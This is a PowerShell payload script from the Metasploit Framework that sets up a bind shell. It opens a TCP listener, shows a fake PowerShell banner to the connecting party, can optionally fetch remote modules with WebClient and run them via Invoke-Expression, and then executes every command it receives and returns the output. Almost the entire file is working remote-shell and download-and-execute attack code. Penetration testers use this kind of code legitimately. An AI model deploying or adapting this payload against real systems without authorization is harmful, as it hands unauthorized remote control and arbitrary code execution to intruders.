metasploit-framework/data/exploits/powershell/powerfun.ps1

45 lines
1.6 KiB
PowerShell
Raw Normal View History

2015-04-19 20:12:23 +00:00
function Get-Webclient {
$wc = New-Object Net.WebClient
$wc.UseDefaultCredentials = $true
$wc.Proxy.Credentials = $wc.Credentials
$wc
}
function powerfun($download) {
$modules = @(MODULES_REPLACE)
$listener = [System.Net.Sockets.TcpListener]LPORT_REPLACE
$listener.start()
[byte[]]$bytes = 0..255|%{0}
$client = $listener.AcceptTcpClient()
$stream = $client.GetStream()
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n 'Get-Help Module-Name -Full' for more details on any module.`n 'Get-Module -ListAvailable' for a list of loaded cmdlets.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)
if ($download -eq 1) { ForEach ($module in $modules)
{
(Get-Webclient).DownloadString($module)|Invoke-Expression
}}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$EncodedText = New-Object System.Text.ASCIIEncoding
$data = $EncodedText.GetString($bytes,0, $i)
$sendback = (Invoke-Expression $data 2>&1 | Out-String )
$sendback2 = $sendback + "PS " + (get-location).Path + "> "
$x = ($error[0] | out-string)
$error.clear()
$sendback2 = $sendback2 + $x
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
$listener.Stop()
}